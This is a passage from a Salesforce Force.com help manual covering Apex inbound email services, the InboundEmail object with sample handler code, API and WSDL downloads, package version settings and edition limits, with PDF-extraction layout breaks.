• For each email service, you can tell Salesforce.com to send error email messages to a specified address instead of the sender's
email address.

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
Defining Email Services
Defining Email Service Addresses
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Services


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

To define an email service:

1. Click Setup ➤ Develop ➤ Email Services.


2. Click New Email Service, or click Edit to change an existing email service.
3. Specify the name of the email service.
4. Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement
the Messaging.InboundEmailHandler interface. For example:

global class myHandler implements Messaging.InboundEmailHandler {


global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;
}
}

For information on the InboundEmail object, see Using the InboundEmail Object on page 994.

990
Develop Defining Email Services

5. Choose the types of attachments you want the email service to accept. The options are:
None
The email service accepts the message but discards any attachment.

Text Attachments Only


The email service only accepts the following types of attachments:

• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text.


• Attachments with a MIME type of application/octet-stream and a file name that ends with either a
.vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

The maximum text attachment size is 100 KB per attachment. If your attachment exceeds this limit, your email will
bounce back with an error message.
Messages with attachments other than these types are accepted, but the attachments are discarded.

Binary Attachments Only


The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments
have a limit of 5 MB per attachment.
Messages with attachments that are not binary are accepted, but the attachments are discarded.

All
The email service accepts any type of attachment.

Note: An email service can only process attachments if you configure the email service to accept attachments and
use an Apex class that processes the types of attachments the email service accepts.
Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages.

6. Optionally, select the Authenticate Senders checkbox to configure the email service to verify the legitimacy of the
sending server before processing a message. The email service uses the following authentication protocols to verify the
sender's legitimacy:

• SPF
• SenderId
• DomainKeys

If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the
server fails a protocol or does not support any of the protocols, the email service performs the action specified in the
Unauthenticated Sender Action failure response setting.

Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the
email service support at least one of the authentication protocols listed above. For information on these authentication
protocols, see the following websites:

• www.openspf.org
• www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. To prevent email services from rejecting email messages and notifying the sender, optionally truncate email body text, body
HTML, and text attachments to 100,000 characters (approximate) each.

991
Develop Defining Email Services

8. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and
domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.

Leave this field blank if you want the email service to receive email from any email address.
Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email
Service Addresses on page 993.
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.

9. Select the Active checkbox if you want the email service to be activated when you click Save.
10. Configure the failure response settings, which determine how the email service responds if an attempt to access this email
service fails for the following reasons:
Over Email Rate Limit Action
Determines what the email service does with messages if the total number of messages processed by all email services
combined has reached the daily limit for your organization. Salesforce.com calculates the limit by multiplying the
number of user licenses by 1,000. For example, if you have ten licences, your organization can process up to 10,000
email messages a day.

Deactivated Email Address Action


Determines what the email service does with messages received at an email address that is inactive.

Deactivated Email Service Action


Determines what the email service does with messages it receives when the email service itself is inactive.

Unauthenticated Sender Action


Determines what the email service does with messages that fail or do not support any of the authentication protocols
if the Authenticate Senders checkbox is selected.

Unauthorized Sender Action


Determines what the email service does with messages received from senders who are not listed in the Accept From
Email text box on either the email service or email service address.
The failure response options are:
Bounce Message
The email service returns the message to the sender or to the Automated Case User for On-Demand
Email-to-Case, with a notification that explains why the message was rejected.

Discard Message
The email service deletes the message without notifying the sender.

Requeue Message (Over Email Rate Limit Action Only)


The email service queues the message for processing in the next 24 hours. If the message is not processed within 24
hours, the email service returns the message to the sender with a notification that explains why the message was
rejected.

992
Develop Defining Email Service Addresses

11. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing
and specify the destination email address in Route Error Emails to This Email Address. This prevents the
sender being notified when email services cannot process an incoming email.
12. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as
described in Defining Email Service Addresses on page 993.

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Service Addresses
Enabling and Configuring On-Demand Email-to-Case
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Email Service Addresses


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

To define an email service address:

1. Click Setup ➤ Develop ➤ Email Services.


2. Choose the email service for which you want to define an address.
3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an
email service address, click View and Delete.
4. In the Email Address field, enter the local-part of the email service address. Salesforce.com generates a unique domain-part
for each email service address to ensure that no two email service addresses are identical. The generated domain-part
appears to the right of the Email Address field.
Tip: For the local-part of a Salesforce.com email address, all alphanumeric characters are valid, plus the following
special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce.com email address, only alphanumeric
characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part
as long as it is not the first or last character.
Salesforce.com email addresses are case-insensitive.

5. Select the Active checkbox if you want the email service address to be activated when you click Save.

993
Develop Using the InboundEmail Object

6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages
this address receives. For example, if the email service is configured to modify contact records upon receiving updated
contact information, the email service only modifies a record if the context user has permission to edit the record.
Important: Choose a context user that has permission to execute the Apex class that the email service is configured
to use.

7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses
and domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.

Leave this field blank if you want the email service to receive email from any email address.
Note:
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.

8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Services
Developer's Guide: Force.com Apex Code Developer's Guide

Using the InboundEmail Object


Available in: Enterprise, Unlimited and Developer Editions

For every email the Apex email service domain receives, Salesforce.com creates a separate InboundEmail object that contains
the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Note: For information on the Apex email service, see What are Email Services? on page 988.

994
Develop Using the InboundEmail Object

Example 1: Create Tasks for Contacts


The following is an example of how you can look up a contact based on the inbound email address and create a new task.

global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,


Messaging.InboundEnvelope env){

// Create an inboundEmailResult object for returning the result of the Apex Email Service

Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '';

// Add the email plain text into the local variable

myPlainText = email.plainTextBody;

// New Task object to be created

Task[] newTask = new Task[0];

// Try to lookup any contacts based on the email from address


// If there is more than 1 contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [Select Id, Name, Email
From Contact
Where Email = :email.fromAddress
Limit 1];

// Add a new Task to the contact record we just found above.


newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));

// Insert the new Task


insert newTask;

System.debug('New Task Object: ' + newTask );

}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}

// Set the result to true. No need to send an email back to the user
// with an error message

result.success = true;

// Return the result for the Apex Email Service


return result;

}
}

995
Develop Using the InboundEmail Object

Example 2: Handle Unsubscribe Email


Companies that send marketing email to their customers and prospects need to provide a way to let the recipients unsubscribe.
The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of
inbound email for the word “unsubscribe.” If the word is found, the code finds all contacts and leads that match the From
email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.

Global class unsubscribe implements Messaging.inboundEmailHandler{

Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,


Messaging.InboundEnvelope env ) {

// Create an inboundEmailResult object for returning


// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();

// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.

if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [Select Id, Name, Email, HasOptedOutOfEmail


From Contact
Where Email = :env.fromAddress
And hasOptedOutOfEmail = false
Limit 100]) {

// Add all the matching contacts into the list.


c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update lc;
}
catch (System.QueryException e) {
System.debug('Contact Query Issue: ' + e);
}

try {
// Look up all leads matching the email address.
for (Lead l : [Select Id, Name, Email, HasOptedOutOfEmail
From Lead
Where Email = :env.fromAddress
And isConverted = false
And hasOptedOutOfEmail = false
Limit 100]) {
// Add all the leads to the list.

996
Develop Using the InboundEmail Object

l.hasOptedOutOfEmail = true;
ll.add(l);

System.debug('Lead Object: ' + l);


}
// Update all lead records in the query.
update ll;
}

catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}

System.debug('Found the unsubscribe word in the subject line.');


}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;
}

// The following test methods provide adequate code coverage.


// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.

static testMethod void testUnsubscribe() {

// Create a new email and envelope object.


Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.


Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.


Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;

// Test with the subject that matches the unsubscribe statement.


email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

static testMethod void testUnsubscribe2() {

// Create a new email and envelope object.


Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

997
Develop Using the InboundEmail Object

// Create a new test lead and insert it in the test method.


Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.


Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;

// Test with a subject that does not contain "unsubscribe."


email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
}

InboundEmail Object
An InboundEmail object has the following fields.

Name Type Description


binaryAttachments InboundEmail.BinaryAttachment[] A list of binary attachments received with the email,
if any
Examples of binary attachments include image, audio,
application, and video files.

ccAddresses String[] A list of carbon copy (CC) addresses, if any


fromAddress String The email address that appears in the From field
fromName String The name that appears in the From field, if any
headers InboundEmail.Header[] A list of the RFC 2822 headers in the email, including:
• Recieved from
• Custom headers
• Message-ID
• Date

htmlBody String The HTML version of the email, if specified by the


sender
htmlBodyIsTruncated Boolean Indicates whether the HTML body text is truncated
(true) or not (false).
inReplyTo String The In-Reply-To field of the incoming email.
Identifies the email or emails to which this one is a

998
Develop Using the InboundEmail Object

Name Type Description


reply (parent emails). Contains the parent email or
emails' message-IDs.
messageId String The Message-ID—the incoming email's unique
identifier
plainTextBody String The plain text version of the email, if specified by the
sender
plainTextBodyIsTruncated Boolean Indicates whether the plain body text is truncated
(true) or not (false).
references String [] The References field of the incoming email. Identifies
an email thread. Contains a list of the parent emails'
References and message IDs, and possibly the
In-Reply-To fields.
replyTo String The email address that appears in the reply-to header
If there is no reply-to header, this field is identical to
the fromAddress field.

subject String The subject line of the email, if any


textAttachments InboundEmail.TextAttachment[] A list of text attachments received with the email, if
any
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail
Extension (MIME) type of text
• Attachments with a MIME type of
application/octet-stream and a file name
that ends with either a .vcf or .vcs extension.
These are saved as text/x-vcard and
text/calendar MIME types, respectively.

toAddresses String[] The email address that appears in the To field

InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.

Name Type Description


name String The name of the header parameter, such as Date or Message-ID
value String The value of the header

InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.

999
Develop Using the InboundEmail Object

An InboundEmail.BinaryAttachment object has the following fields.

Name Type Description


body Blob The body of the attachment
fileName String The name of the attached file
mimeTypeSubType String The primary and sub MIME-type

InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
An InboundEmail.TextAttachment object has the following fields.

Name Type Description


body String The body of the attachment
bodyIsTruncated Boolean Indicates whether the attachment body text is truncated (true) or not
(false).
charset String The original character set of the body field. The body is re-encoded as UTF-8
as input to the Apex method.
fileName String The name of the attached file
mimeTypeSubType String The primary and sub MIME-type

InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.

Name Type Description


success Boolean A value that indicates whether the email was successfully processed.
If false, Salesforce.com rejects the inbound email and sends a reply email
to the original sender containing the message specified in the Message field.

message String A message that Salesforce.com returns in the body of a reply email. This field
can be populated with text irrespective of the value returned by the Success
field.

InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

1000
Develop Handling Apex Exceptions in Managed Packages

Name Type Description


toAddress String The name that appears in the To field of the envelope, if any
fromAddress String The name that appears in the From field of the envelope, if any

See Also:
Force.com Apex Code Overview
What are Email Services?
Developer's Guide: Force.com Apex Code Developer's Guide

Handling Apex Exceptions in Managed Packages


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To create packages: “Create Force.com AppExchange Packages”
To upload packages: “Upload Force.com AppExchange Packages”
To create Apex: “Author Apex”

When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when
an exception occurs that is not caught by an Apex script. Uncaught exceptions can be thrown from:

• A Visualforce action or getter method


• A Web service method
• A trigger
The email that is sent has the following format:
--------------------------------------------------------------------------------
Subject: Developer script exception from CLASSNAME Apex script unhandled trigger
exception by user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
--------------------------------------------------------------------------------
For example:
--------------------------------------------------------------------------------
From: Apex Application? <info@salesforce.com> To: joeuser@salesforce.com
<joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date:
Mon, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger
exception by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test
Exception?: Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11
--------------------------------------------------------------------------------

1001
Develop What is the API?

The number of emails generated for the same error is limited to 10 messages with the same subject in a 60 second period.

See Also:
Force.com Apex Code Overview
Preparing Your Apps for Distribution
Developer's Guide: Force.com Apex Code Developer's Guide

What is the API?


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the API “API Enabled”

Salesforce.com provides programmatic access to your organization’s information using a simple, powerful, and secure application
programming interface, the Force.com Web Services API (the API).

When to use the API?


You can use the SOAP-based API to create, retrieve, update or delete records, such as accounts, leads, and custom objects.
With more than 20 different calls, the API also allows you to maintain passwords, perform searches, and much more. Use the
API in any language that supports Web services.
For example, you can use the API to integrate Salesforce.com with your organization’s ERP and finance systems, deliver
real-time sales and support information to company portals, and populate critical business systems with customer information.

When to use the Bulk API?


The REST-based Bulk API is optimized for loading large sets of data. It allows you to insert, update, or upsert a large number
of records asynchronously by submitting a number of batches which are processed in the background by Salesforce.com.
The SOAP-based API, in contrast, is optimized for real-time client applications that update small numbers of records at a
time. Although the SOAP-based API can also be used for loading large numbers of records, when the data sets contain
hundreds of thousands of records it becomes less practical. The Bulk API is designed to make it simple to load data from a
few thousand to millions of records.
The easiest way to use the Bulk API is to enable it for loading records in Data Loader using CSV files. This avoids the need
to write your own client application.

When to use the Metadata API?


Use the Metadata API to retrieve, deploy, create, update or delete customization information, such as custom object definitions
and page layouts, for your organization. The most common usage is to migrate changes from a sandbox or testing organization
to your production organization. The Metadata API is intended for managing customizations and for building tools that can
manage the metadata model, not the data itself. To create, retrieve, update or delete records, such as accounts or leads, use
the API to manage your data.

1002
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates

The easiest way to access the functionality in the Metadata API is to use the Force.com IDE or Force.com Migration Tool.
These tools are built on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task
of working with the Metadata API. Built on the Eclipse platform, the Force.com IDE provides a comfortable environment
for programmers familiar with integrated development environments, allowing you to code, compile, test, and deploy all from
within the IDE itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving
metadata between a local directory and a Salesforce.com organization.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Force.com Web Services API Developer's Guide
Force.com Metadata API Developer's Guide
Force.com Bulk API Developer's Guide

Downloading Salesforce.com WSDLs and Client


Authentication Certificates
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To download a WSDL: “Customize Application”

You can download a Web Services Description Language (WSDL) document to integrate and extend Salesforce.com using
the Force.com API. With a Salesforce.com WSDL, you can easily integrate Salesforce.com with your applications or build
new applications that work with Salesforce.com.
The following WSDLs are available:

• Enterprise WSDL - This WSDL document is for customers who want to build an integration with their Salesforce.com
organization only. It is strongly typed, which means that it contains objects and fields with specific data types, such as int
and string. Customers who use the enterprise WSDL document must download and re-consume it whenever their
organization makes a change to its custom objects or fields or whenever they want to use a different version of the API.
• Partner WSDL - This WSDL document is for customers, partners, and ISVs who want to build an integration that can
work across multiple Salesforce.com organizations, regardless of their custom objects or fields. It is loosely typed, which
means that you work with name-value pairs of field names and values instead of specific data types. The partner WSDL
document only needs to be downloaded and consumed once per version of the API.
• Apex WSDL - This WSDL document is for users who want to run or compile Apex in another environment. See the
Force.com Apex Code Developer's Guide for details.
• Metadata WSDL - This WSDL document is for users who want to use the Force.com API metadata calls to migrate
configuration changes between organizations or work with the customizations in your organization as XML metadata files.
See the Force.com Metadata API Developer's Guide for details.

To download a WSDL document:

1. Click Setup ➤ Develop ➤ API.


2. Download the appropriate WSDL:

1003
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates

• If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click
Generate Enterprise WSDL. Salesforce.com prompts you to select the version of each installed package to include in
the generated WSDL.
• Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click
menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.

3. On your computer, import the local copy of the WSDL document into your development environment.

Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings
section.

Optionally, you can download a certificate to authenticate Salesforce.com clients. Click Setup ➤ Develop ➤ API, and on
the WSDL Download page, right-click Download Client Certificate and save it to an appropriate location. You can then
import the downloaded certificate into your application server, and configure your application server to request the client
certificate.

See Also:
What is the API?
Defining Custom S-Controls
Force.com API Usage Limits
About Managed Packages
Configuring Default Package Versions for API Calls
Documentation Resources for Force.com Developers

Generating an Enterprise WSDL with Managed Packages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To download a WSDL: “Customize Application”

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take
an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is
strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package. A subscriber can select a package version for each installed managed package
to allow their API client to continue to function with specific, known behavior even when they install subsequent versions of
a package. Each package version can have variations in the composition of its objects and fields, so you must select a specific
version when you generate the strongly typed WSDL.

1004
Develop Configuring Default Package Versions for API Calls

To download an enterprise WSDL when you have managed packages installed:

1. Click Setup ➤ Develop ➤ API.


2. Click Generate Enterprise WSDL.
3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default, which is the latest package version.
4. Click Generate.
5. Use the File menu in your browser to save the WSDL to your computer.
6. On your computer, import the local copy of the WSDL document into your development environment.

Note the following in your generated enterprise WSDL:

• Each of your managed package version selections is included in a comment at the top of the WSDL.
• The generated WSDL contains the objects and fields in your organization, including those available in the selected versions
of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL
with that package version to work with the object or field in your API integration.
• The SOAP endpoint at the end of the WSDL contains a URL with a format of
serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 17.0, and
ID encodes your package version selections when you communicate with Salesforce.com.

You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package
Version Settings section of Setup ➤ Develop ➤ API. Default package versions for API calls provide fallback settings if
package versions are not provided by an API call. Many API clients do not include package version information, so the default
settings maintain existing behavior for these clients.

See Also:
What is the API?
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Configuring Default Package Versions for API Calls
About Managed Packages
What is a Package Version?
Documentation Resources for Force.com Developers
Force.com Web Services API Developer's Guide

Configuring Default Package Versions for API Calls


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure default package versions for API calls: “Customize Application”

A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.

1005
Develop Configuring Default Package Versions for API Calls

For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API
clients do not include package version information, so the default settings maintain existing behavior for these clients.
You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers
who want to build an integration with their Salesforce.com organization only. It is strongly typed, which means that calls
operate on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners,
and ISVs who want to build an integration that can work across multiple Salesforce.com organizations, regardless of their
custom objects or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values
instead of specific data types.
You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are
options for setting the package version bindings for an API call from client applications using either the enterprise or partner
WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is
determined by the first match in the following settings.

1. The PackageVersionHeader SOAP header.


2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where
api_version is the version of the API, such as 17.0, and ID encodes your package version selections when the enterprise
WSDL was generated.
3. The default enterprise package version settings.

The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified
option for a package version when configuring the default partner package versions, the behavior is defined by the latest
installed package version. This means that behavior of package components, such as an Apex trigger, could change when a
package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific
version for an installed package for all partner API calls from client applications to ensure that subsequent installations of
package versions do not affect their existing integrations.
The package version information for partner API calls is determined by the first match in the following settings.

1. The PackageVersionHeader SOAP header.


2. An API call from a Visualforce page uses the package versions set for the Visualforce page.
3. The default partner package version settings.
To configure default package versions for API calls:

1. Click Setup ➤ Develop ➤ API.


2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are
only available if you have at least one managed package installed in your organization.
3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default selection.
4. Click Save.

1006
Develop Salesforce.com Editions and Limits

Note: Installing a new version of a package in your organization does not affect the current default settings.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
About Managed Packages
What is a Package Version?
Documentation Resources for Force.com Developers
Force.com Web Services API Developer's Guide

Salesforce.com Editions and Limits


Use the table below to determine the features and maximum number of items supported in each Salesforce.com Edition. The
following sections provide more detailed information about their respective areas:

• Custom Fields Limit Details on page 1010


• Rules Limit Details on page 1011

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
Custom Apps Not 1 1 5 10 Unlimited 10
Available
(The custom apps
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Objects Not 5 50 50 200 2,000 400


Available
(The custom objects
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Report Types Not Not Not 10 30 100 10


Available Available Available

1007
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
(Limits apply to all custom
report types regardless of
development status.)

Tabs Not 3 5 10 25 Unlimited 100


Available
(The custom tabs
contained in a managed
package in a trial state or
the managed package of a
native application in any
state do not count against
the limits supported for
your Salesforce.com
Edition.)

Custom Fields 5 per object 25 per 100 per 100 per 500 per 500 per 500 per
object object object object object object
(Additional restrictions
apply for activities, long
text area fields,
relationship fields, and
roll-up summary fields.
For more information, see
Custom Fields Limit
Details on page 1010.)

Active Lookup Filters 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object
Custom labels Not Not Not 5,000 5,000 5,000 5,000
Available Available Available
Active Rules Not Not Not 50 per 50 per 50 per 50 per
Available Available Available object object object object
(Limits apply to any
combination of active
workflow, assignment,
auto-response, and
escalation rules. For more
information, see Rules
Limit Details on page 1011.)

Formulas: Maximum 3900 3900 3900 3900 3900 3900 3900


Number of Characters characters characters characters characters characters characters characters
Formulas: Maximum 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes 4000 bytes
Formula Size (in Bytes)
When Saved

1008
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
Formulas: Maximum 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes 5000 bytes
Formula Size (in Bytes)
When Compiled
Formulas: Number of 10 10 10 10 10 10 10
Unique Relationships Per
Object
Formulas: VLOOKUP 10 per 10 per 10 per 10 per 10 per 10 per 10 per
Functions object object object object object object object
Active Validation Rules Not 20 per 20 per 20 per 100 per 500 per 100 per
Available object object object object object object
Sharing Rules Not Not Not 100 100 100 100
Available Available Available
Scheduled Dashboard Not Not Not Not Up to 200, Up to 200, Not
Refreshes Available Available Available Available with a with a Available
maximum of maximum of
one two
scheduled scheduled
refresh per refreshes per
hour for hour for
each each
organization organization
Scheduled Reports Not Not Not Up to 200, Up to 200, Up to 200, Up to 200,
Available Available Available with a with a with a with a
maximum of maximum of maximum of maximum of
three one two three
scheduled scheduled scheduled scheduled
reports per report per reports per reports per
day for each hour for hour for day for each
organization each each organization
organization organization
(Limited to (Limited to
three three
preferred preferred
start times, start times,
which which
cannot be cannot be
changed) changed)

Analytic Snapshots Not Not Not Up to 200 Up to 200 Up to 200 Up to 200


Available Available Available for each for each for each for each
organization organization organization organization
(Limited to (Limited to (Limited to (Limited to
one preferred three one one preferred

1009
Develop Salesforce.com Editions and Limits

Feature Personal Contact Group Professional Enterprise Unlimited Developer


Edition Manager Edition Edition Edition Edition Edition
start time preferred preferred start time
per day, start times start time per day,
which per day, per hour, which
cannot be which which cannot be
changed) cannot be cannot be changed)
changed) changed)

Static Resources Not A single A single A single A single A single A single


Available static static static static static static
resource can resource can resource can resource can resource can resource can
be up to 5 be up to 5 be up to 5 be up to 5 be up to 5 be up to 5
MB in size. MB in size. MB in size. MB in size. MB in size. MB in size.
An An An An An An
organization organization organization organization organization organization
can have up can have up can have up can have up can have up can have up
to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB
of static of static of static of static of static of static
resources, resources, resources, resources, resources, resources,
total. total. total. total. total. total.

Tags For all editions, a user is limited to a maximum of:


• 500 unique personal tags
